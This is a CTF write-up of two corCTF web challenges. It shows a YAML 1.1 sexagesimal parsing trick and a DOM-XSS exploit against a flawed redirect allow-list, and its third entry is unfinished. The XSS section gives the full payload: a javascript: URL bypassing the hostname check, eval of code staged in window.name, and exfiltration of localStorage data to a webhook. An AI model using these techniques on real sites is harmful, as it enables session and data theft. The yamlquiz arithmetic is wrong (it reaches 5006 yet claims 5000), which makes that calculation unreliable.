web
web/yamlquiz

How well do you know ~~JSON~~ YAML? Take this quiz and find out!
Downloads
tldr;
The provided file code and the url.

const express = require('express');
const YAML = require('yaml');
const PORT = process.env.PORT || 4455;
const FLAG = process.env.FLAG || 'corctf{fake_flag_for_testing}';
const app = express();
app.use(express.urlencoded({extended: false}));
app.use(express.static('static'));
app.post('/submit', (req, res) => {
let result = req.body.result;
let score = 0;
if (result) {
const result_parsed_1 = YAML.parse(result, null, {version: '1.1'});
const result_parsed_2 = YAML.parse(result, null, {version: '1.2'});
const score_1 = result_parsed_1?.result?.[0]?.score ?? 0;
const score_2 = result_parsed_2?.result?.[0]?.score ?? 0;
if (score_1 !== score_2) {
score = score_1;
}
} else {
score = 0;
}
if (score === 5000) {
res.json({pass: true, flag: FLAG});
} else {
res.json({pass: false});
}
});
app.listen(PORT, () => console.log(`web/yamlquiz listening on port ${PORT}`));The vulnerability is this line of code...
const result_parsed_1 = YAML.parse(result, null, {version: '1.1'});...the goal is simply to get the score to be 5000, so exploit the line above, and make the code below happen, easy right?.
if (score === 5000)
res.json({pass: true, flag: FLAG});The code highlighted as the backend parses the input twice 🥀—once as YAML 1.1 and once as YAML 1.2—then does this:
If the two parses differ, it picks the 1.1 value as the score.
If that score equals 5000, spit the flag.
YAML 1.1 has this weird feature: sexagesimal numbers. The string 1:23:20 is read as base-60: (article: the yaml document from hell) but essentially
1 x 602 = 3600
23 x 60 = 1386
+20
3600 + 1386 + 20 = 5006 (or you can do a very large number, I'm just being pedantic)
// This uses YAML 1.1’s sexagesimal number (1:23:20 = 5000) which differs in YAML 1.2, making the backend pick 5000 and return the flag.
const payload = 'result:\n - score: 1:23:20'; // YAML 1.1 sexagesimal → 5000
fetch('/submit', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'result=' + encodeURIComponent(payload)
}).then(r => r.json()).then(console.log);So by sending the payload to hijack the score, we got the flag because the program always take score 1. There isn't really much to say here.

corctf{ihateyamlihateyamlihateyaml!!!}
Learned:
The yaml version 1.1 have a funny problem.
web/safe-url

Using our patented safe-url™ technology, XSS is now impossible!
Admin Bot Downloads
tar -tvf safe-url.tar
drwxr-xr-x 1000/1000 0 1969-12-31 16:00 safe-url/
-rw-r--r-- 1000/1000 2137 1969-12-31 16:00 safe-url/index.html
-rw-r--r-- 1000/1000 55 1969-12-31 16:00 safe-url/Dockerfile
-rw-r--r-- 1000/1000 1317 1969-12-31 16:00 safe-url/adminbot_test.jstar -tvf safe-url.tar
drwxr-xr-x 1000/1000 0 1969-12-31 16:00 safe-url/
-rw-r--r-- 1000/1000 2137 1969-12-31 16:00 safe-url/index.html
-rw-r--r-- 1000/1000 55 1969-12-31 16:00 safe-url/Dockerfile
-rw-r--r-- 1000/1000 1317 1969-12-31 16:00 safe-url/adminbot_test.js// npm i puppeteer
// script to emulate admin bot
const puppeteer = require("puppeteer");
const FLAG = "corctf{test_flag}";
const SITE = "https://safe-url.ctfi.ng";
function sleep(time) {
return new Promise(resolve => {
setTimeout(resolve, time)
})
}
const visit = async (url) => {
let browser;
try {
browser = await puppeteer.launch({
headless: true,
pipe: true,
args: [
"--no-sandbox",
"--disable-setuid-sandbox",
"--js-flags=--jitless",
],
dumpio: true
});
// incognito btw
const ctx = await browser.createBrowserContext();
let page = await ctx.newPage();
await page.goto(SITE, { timeout: 3000, waitUntil: 'domcontentloaded' });
await page.evaluate((flag) => {
localStorage.setItem("flag", flag);
}, FLAG);
await sleep(1000);
await page.close();
page = await ctx.newPage();
await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' });
await sleep(5000);
await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
if (browser) await browser.close();
}
};
visit("EXPLOIT_URL");This is irrelevant
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: sans-serif; padding-left: 30px; padding-top: 15px;
}
</style>
</head>
<body>
<h2>safe-url</h2>
<h4>here are some URLs you should check out!</h4>
<ul>
<li><a href="https://cor.team">cor.team</a></li>
<li><a href="https://ctf.cor.team">ctf.cor.team</a></li>
<li><a href="https://example.com">example.com</a></li>
</ul>
<h4>and here are some bad URLs that shouldn't work:</h4>
<ul>
<li><a href="https://malicious.com">malicious.com</a></li>
<li><a href="https://dicega.ng">dicega.ng</a></li>
<li><a href="https://cor.team/malicious_page">cor.team/malicious_page</a></li>
</ul>
<h4>try a custom URL!</h4>
<form method="GET">
<input type="text" name="redirect" placeholder="https://..." style="width: 300px;">
<input type="submit" value="Go">
</form>
<script>
const safeHostnames = [
"cor.team",
"example.com",
location.hostname
];
const isSafeHostname = (hostname) => {
return safeHostnames.some(safeHostname => hostname === safeHostname || hostname.endsWith(`.${safeHostname}`));
};
function safeRedirect(url) {
try {
const redirectUrl = new URL(url, window.location.origin);
if (!isSafeHostname(redirectUrl.hostname)) {
alert("hostname is not safe!");
return;
}
if (redirectUrl.pathname.length >= 10) {
alert("pathname is too long!");
return;
}
const safeUrl = `${redirectUrl.protocol}//${redirectUrl.host}${redirectUrl.pathname}`;
console.log("redirecting to", safeUrl, "...");
window.location = safeUrl;
} catch (error) {
console.log("error: ", error);
}
}
const params = new URLSearchParams(window.location.search);
if (params.has('redirect')) {
safeRedirect(params.get('redirect'));
}
document.querySelectorAll('a').forEach(link => {
link.addEventListener('click', (event) => {
event.preventDefault();
safeRedirect(link.href);
});
});
</script>
</body>
</html>tldr;
The page “sanitizes” a ?redirect= URL by checking that the hostname ends with a trusted suffix, and then blindly navigates with window.location to ${protocol}//${host}${pathname}. Because it doesn’t restrict the URL scheme, we can use a javascript: URL that still passes the (buggy) hostname check; the redirector then loads our javascript: URI and the code runs in the redirector’s origin (DOM-XSS). The pathname is capped to < 10 chars, so we stash our long exfil code in window.name and execute it via eval(name). That lets us read localStorage.getItem('flag') and exfiltrate it
long version
The admin’s browser stores the flag in localStorage under the key flag.
await page.evaluate((flag) => {
localStorage.setItem("flag", flag);
}, FLAG);So the goal is to get execution right in the same origin as the admin bot, and retrieve it right here and there.
https://adminbot.ctfi.ng/web-safe-url this thing right here

the vulnerability
Now where is the part of the code that messed things up?
const safeHostnames = ["cor.team", "example.com", location.hostname];
const isSafeHostname = (hostname) => {
return safeHostnames.some(safeHostname =>
hostname === safeHostname || hostname.endsWith(`.${safeHostname}`)); // <— (A)
};
function safeRedirect(url) {
const redirectUrl = new URL(url, window.location.origin);
if (!isSafeHostname(redirectUrl.hostname)) { /* ... */ } // <— (B)
if (redirectUrl.pathname.length >= 10) { /* ... */ } // <— (C)
const safeUrl = `${redirectUrl.protocol}//${redirectUrl.host}${redirectUrl.pathname}`;
window.location = safeUrl; // <— (D)
}The problem here is:
(A) Suffix-based allow-list on
hostnameis not origin validation. (Open-redirect allow-list bypass primitive.)(B)+(D) There’s no scheme allow-list.
javascript:(and other dangerous schemes) are accepted and then executed when assigned towindow.location. (This leads to DOM-XSS via JavaScript URL injection)(C) A path-length filter is used as a “content” control; it is ....lmao — when the payload can live in other URL parts or be staged via
window.name.
exploit plan
How we exploit it?
Stage payload in window.name: We keep the heavy logic out of the URL:
window.name = `
window.location = 'https://webhook.site/REPLACE?q=' +
encodeURIComponent(localStorage.getItem('flag'));
`;Craft a “passing” redirect:
Use a javascript: URL that still satisfies the hostname check. One working form is to include a fake hostname (ending with .example.com) so the validator passes, then break out to real code with a newline:
javascript://a.example.com/%0aeval(name)The hostname part satisfies
hostname.endsWith('.example.com').When loaded,
javascript:treats everything after the scheme as JS. The//a.example.comportion is just a comment, and%0a(newline) ends that comment soeval(name)executes.Also, it is short enough to not get flag by the len restriction.
Send the victim through the redirector:
https://safe-url.ctfi.ng/?redirect=javascript://a.example.com/%0aeval(name)Redirector accepts & navigates → code runs in-origin.
eval(name) executes the staged code, which reads localStorage.flag and exfiltrates it to the webhook.
Now here’s the interesting part: we know the payload works, but we need to serve it to the admin bot in a way that it can actually visit. Since the bot must hit our page first, we need to expose our local index.html to the internet. The most classic way to do that is with a quick Python HTTP server, now first create a solution folder and If you put the following code in index.html:
<!doctype html>
<meta charset="utf-8">
<script>
// stage exfil in window.name (webhook)
window.name = `
window.location = 'https://webhook.site/<WEB_HOOK>?q=' +
encodeURIComponent(localStorage.getItem('flag'))
`;
// code lives in the host, path is empty (so no length issue)
const payload = "javascript://%0aeval(name).example.com"
const base = 'https://safe-url.ctfi.ng/?redirect='
window.location = base + encodeURIComponent(payload)
</script>And then python3 -m http.server 8080 of the exact folder.
A lot of people’s first instinct is to use ngrok to tunnel the local server to the internet. It’s quick, it works with one command, and it even gives you a nice HTTPS URL. However, this is where you hit a wall. On the free plan, ngrok slaps a confirmation screen on first visit:

The admin bot is never going to click “Visit Site.” It’s a headless browser that just follows URLs. That means your exploit page never loads, your payload never fires, and your webhook never gets the flag. I was bamboozled, deceived and felt betrayed after I learned this fact.
We now pivot to an alternative, the easiest free next option is...localtunnel? WRONG. Because it doesnt work anymore...I went down the rabbit hole of the author has moved on and the project is no longer being maintain or somethin
Ultimately, what do we have left? Oh well, some more digging and digging, the alternatives to ngrok probably will fix the problem, as long as they don't hit you with a swipe lock screen 🥀(zrok, pig something something). But funny enough the option I have choose is this:
Execute this in a different terminal, along side with python serve
ssh -o ServerAliveInterval=60 -R 80:localhost:8080 nokey@localhost.run
And use that url to enter in the admin bot website

Congratulations....all that pain to get your flag (this challenge SHOULD HAVE NOT TAKE ME THAT LONG, 15 minutes MAX if I knew ngrok was the issue 🥀)

corctf{but_i_already_p4tented_it_:(((}What I have learned today: yea no more ngrok in the future, that lock screen is funny af.
web/vouched

The CoR funds have completely dried up and chances are that next year's CTF will be a paid event. To not scare off the CTF players, we have provided some of you with a voucher. Enter them here to grab your free ticket for corCTF 2026!
Downloads
...writing...writing...eepy sleepy
Last updated